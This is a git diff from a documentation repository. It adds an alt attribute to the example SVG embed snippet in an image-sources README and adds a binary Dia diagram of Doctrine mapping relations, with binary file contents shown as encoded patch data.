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
Tvj6%N4)~LoR+g%gFbeoTT`c$R

diff --git a/_images/sources/README.md b/_images/sources/README.md
index a07bd5180fe..dcbd2dabefa 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -39,7 +39,9 @@ Use the following snippet to embed the diagram in the docs:
 ```
 .. raw:: html
 
-    <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"></object>
+    <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
+        alt="<alt description>"
+    ></object>
 ```
 
 ### Reasoning
diff --git a/_images/sources/doctrine/mapping_relations.dia b/_images/sources/doctrine/mapping_relations.dia
new file mode 100644
index 0000000000000000000000000000000000000000..5703e1b781c3597e70196f609caf71e45daee62e
GIT binary patch
literal 3114
zcmV+_4At`=iwFP!000021MOYiZsWKWzK)+l@LcpJVMvOU#AGvz&K8SBQFI5`>9rwS
zjH8Y$8Im$ddeMtMPoJt!Qc|`PTO#!@C7F>2$yf@_kCe{OcMcD&pMHMa1jaWWCw>&(
z%n^WdgNLig^TYMc{2yO_y>R9~f1Lf~`R<kYS;y|i5T6JWd2}<sOVjPu<>kY}0|=fH
zH;rNt`1c^;m;ZKyz`YcWF6SR-hH>11=ccYaw?FHqY3wiWQ*MOrhTqJW?&|A0j_yNm
zzH7B_w~B%&Hom#R&HTgd{x!eccXWBuQ%Ubzcg>eEcfaa8hvLOpyUw>f&Ud`oMu{()
zq)*#I6HPzz_feaDt3)&k*B?LpnS9s{X@BCSFV#S`AnC@9*M3;U5mzVJT?z~wjPc<*
zG>2FY4-pIx5f2aHCyQ+qr?Km&MVMt21>6mHNNIe}+v6lFHxMFIHWk#q_gg<rql)q0
zx<OKB0=v`C+S61M*Rk)FE8<BDO)uV)_}^a*dP^RBFTGnl4s=U)y*~}q`!_%FmjPFe
z-Vf8>x_|1Y`@95XHvi@09VKqpo7Sm#4yT;9aVqP3-{Z;i=d?{06(fM~_E!EhAA#p5
z+rWJ)*Qb0VO<!)9`oade3HN%k6gpEEy4#C1y2$DI05<giw7XAZKt;=c^3}ke;x2j^
z;o4;=BV0I%vx>q{TsA>;FSd~|AU#3WwHv!rIS!nm3bo<!ex#pX*srm-fBTUb`|-Qk
zsUz)Z-N){fD=x{m!_koy*a_KQyMGO$ht-`Mr^bcxDSDj0gbX5J@V%S)@9@+-<nMs!
zO;DU9ZyvH6vAf(Rpy$W|IB$`Q7hKo>a+&WwmU9i)0Y8Pf##FpB9YEWG@qllHxsAgj
zmG5mr8Aj&5i<5e$on89A<No?CE$JKr6CS@%JFsOGdpxe13IfQcgb|ZMNu?c|@(a`H
zgm~%?YebRFP^3*+D1y~$Q_=)Q&~?5@(x-su0eE=7DR7`BU3+eF7w~Xhc3U985cVMj
zTi5eWBaZ@7OJz*?V>+*(dbu{bJDSDQC+%{fw<ho|aYwpPDGE~+kUVePil8HS660~h
zWNu_PKeMyDkN(DkZ#?x^?y+xbK7xY!EANSuyZfXY=&1)#8BIil)x^Rw6WR?bul?Fo
z&oL)%2POFII^1ye9aXAnIfGFV3LRg+d~ww}-~EShfu0+C!gc>mSQCZsMqPb3GS7ue
zWsIN!y*I+ZvKY#c2tn7#1f~huxrqU!l(j>aglNG-ufPcFOi|g&L>(@K5SG<8KMGZ_
z+sNIA-olOJ=t1v7%#J-TsvQaK3Q@rzsuB887Tj4`gn_dFgl$E(p0bdfvd~eLMKMKX
zD><Cj7h(`)Nm3Ez45ThceGjKF#~`Dq%yDe^g~uB|bb}+kL3_P1JL`>*W*a!zrbFrt
z1Wdx%0_Gao0G*qH1KXIi!`$%Hts<wMze<OUL%UwLI+3U~WFQJmLKs4h=`cne%Q8EJ
zQk5Ek4si})5FrcU4q%dM-j{};MFQFc<kk;@8X!yT5x#u?aV{)46XhyK&tWO*CjcHZ
zO#Mr=lJEGq;p*ov#vdYLHU7SHo`t~m7a^uTkB1Li5x^FcFNzQ*h#_<MsP!B(K*$ud
z)(KimG-M&ykQEBqIoWj^_}j%@6#M@YA}jbwnH9^eJT-<9)JNuL1_Md%mvSMW&s$qV
z4Xu+Fe*21iX5)(E$D_}dg=b%+u`JR|QndnEB$`UfWSW2?({8`!RG^z`!s!SY83qyC
zv1LkwFbQolt3x@7+K*Ivn<oAy=W)Ks6{Ra<8%N&#D%JX(QZrTG_w?p{+Kfl(f%HDe
zv4jh<EX(eWT=YYACAS@(${W@8M{NLgKB>wpm3u$6XKGxGk`1n?Rm!A5^UA3`k&jhs
zn_sblu-i(wn$34!0zY;q?beWKAGVvEn`CgSZ30H6qA_}n900S$WJue?sw4TnC#Q_$
zi>9k9g2F=PAUYuUVW?Q!Rp|=O{@uPYUD4WFdG8mo>-qOd*`<R3v)rpaYBBsR;=Lyt
zG7*o;;CD#kVF5C+j$T=ZCMK>(jdk(TM-i6VNn1TRX$lY|XmC&cj3gYje9N3J2D5>m
z?mE9W<E$ZY9O@88i31UVj5tn*Eg|Y^u*UUZEphAc2G6@)F1zrC`V^%z)Q}YArCv5s
z%;NAj<4)L%y~9hR%sv<|e^pv0MaPY8lP3FP_hOuY=`i8W2ykq31Pk>HhcLC|qN7ET
zb#BTvJLbG6`sI6PvhmqA_E-GOFg%{DVt*^|v^X+WZpznD{Iu}B8Nz3u{IC4%fB*Tf
z10jG=G`RI2xn}?X&SYymL+06UJlOD5w!#oFCeAMdA??qNtQjI_e-%=|pJXFpbhDlw
zBH_>flw{3BD|_OF!iqCw3rmWTu%^@^4x-}_L%lYAZ~PFx*Q``y>#He^a^4p;Gy$^-
zV-gSAyF?DA89HXDODM0YlBzjZMQoKZ*A7F<S4#D`Nl#f-p|C!X=GM{26in8KV9E+Q
zVvUhq6iAR+S$<K-r8uJUC=<_7#8Np^eKThg%+{6Hun)<!fo(!GhGYsPNYOzu#SxW9
z<4LA+rut@+WVV+~)XPFT1jJ-`4AGQOh~R^4%0o*YjwhVz$(FR6#IwD4;$Fm4#@uX_
z6+;OH33(PzaY*Iih~lZ7Y)QLGJX^11BXe5Ho|dwE%M-uNvX5ygds@n#ma?a%?6<I#
zy*qPM!2I15G^1WBnz7tyX<7T?P&z!_Wx%u`*;h8xYfOMe@u9Z)9hNp97Oy6|{A#t$
zB{DqO=c&N?H42<h985hIQ_IOTops*Pw2WG5_3lHJvr(ujET$P6ZctM=8m+5&j$nnG
zQAM!L(RESmAXC)@v*od7OPD$vC_Ccl;@X-;+RXvWbiR((x7nzvi*cJqxh=M%Dk9zT
zShqQbjzHBQTFt0d{iwIX-!@@bJ#wseqtfuK77=hed==YL@hxQ>+zwLBwHmOkcCdQJ
zRn57o7@m%IwNp1`Y+O}iRIwlXl(Dob_eNHqoIqLaG88d*0TjGIRr@_OE$CymZ;cyN
zRD(B1)>eeKs0nY4UXQFO%C(1ON4)?J$c|cA8C{mk?$6AW6r2udYfh`Uu?cM9u~k*v
z?}v@;>$zvUTJ2<J?d!3VnY}N%PA0<Ew90x=#s*7^t-n|1249c4DY9ned9!}4sjfQ4
zdAFoZW^-(MsL7W39Cb~0o0wf&DpP;nik75MoZWnE#d?|2ikapBnyQ(`bu;6LFY8Tw
zk*1V+Fdl$TYPaQ~x_EnN`PEFkq@^>7a9t6uPNicwrP8NV`lzXN#nRc7N}p2cQ)D)!
z(x+5<&#Clcx!HGHe}?<n2*l0>xv++>JF@^b<zu&~m9cNzmbi}7Wsk-9HD|x<i_MJR
zvwJnwoW0)nX%^*nsx_Nx&8AwjuC-<u_Z1)`>l{NcT7Hts5E;uP!?i3(74I>iqlL)5
zOtx;2Y>gBoV?a*QH5g4xtW(rHMa@5Y)GWxCr0`SJ{9_cL=>kx*Kc)Z(md~a`!f#u2
zEXHs^l@C;A*CL!Clt|WqY{!1Dg&|i4p2<&K8Chw_WH#SY8Az#|Ph}wQungo!$~X4&
z1Rpp~zR?z%hUp>Uh(su8+w?uA96#?K-7{qzUp?apr;Ov2ahx)a{bw9|+udqsIXH;$
zND+kfoN`21J|j*h9VtMx>j3Jf9ebMbTT49BDbG0N8K*qs51(g*=U7<Pf_a-#jXzqd
zvA4~x_E84LwnyR#_DiA>K`f(D6Ut)(n2D_Sn`%VIxyD)cbdf9L`N<)(qsNR~y*xx@
zcKF7otI5{BrQ~FpW=y%s?>9H8GsT~y;7PL&2)}F!u4#%@o}B;+iP<ipSunjSv&#S@
zY!{(f7DLyF0>?s5hD_TcZ^dO<6t?=*nV<3-ok`ZNx)CaEA|`gyq{)PM=q+|;FbANN
z!d5*m0v@hUV#|W*qg^5L(Q9J_#dlY>*dm9W&Z=R{eT&wBdV#XMg#f{sRxqI*`)4qk
zkhR0r?t!bEovOM3SRF1we!rV`uiK;~-IZi_9Jo(B{y5tmh@W-rZa&Wb4{j2|NW`W9
E07VTCdH?_b

literal 0
HcmV?d00001

